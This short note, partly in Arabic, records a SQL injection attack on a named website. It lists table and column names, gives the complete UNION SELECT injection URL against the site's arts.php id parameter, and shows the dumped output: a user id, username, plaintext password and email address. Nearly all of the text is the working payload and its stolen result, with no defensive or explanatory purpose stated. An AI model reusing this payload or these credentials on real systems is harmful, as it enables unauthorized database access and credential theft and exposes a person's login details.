adder_site:pass:lukjarz_dosbros
adder_user:pass:lukjarz_dosbros 
===================================
************************************
**adder_user:pass:lukjarz_dosbros **
************************************
adder_user:id:lukjarz_dosbros
adder_user:user:lukjarz_dosbros
adder_user:pass:lukjarz_dosbros
adder_user:start_dat:lukjarz_dosbros
adder_user:email:lukjarz_dosbros
adder_user:pkt:lukjarz_dosbros 
=======================================
group_concat(id,0x3a,user,0x3a,pass,0x3a,email)
===================================================
وهاته الحقنة كاملة
http://www.dosbrothers.com/arts.php?id=-1 union select 1,group_concat(id,0x3a,user,0x3a,pass,0x3a,email),3,4,5+from+adder_user--

وهذا ناتج الحقنة 
1:lukjarz:k23:lukasz@localhost.pl 
================================
id=1
username = lukjarz
pass = k23
email = lukasz@localhost.pl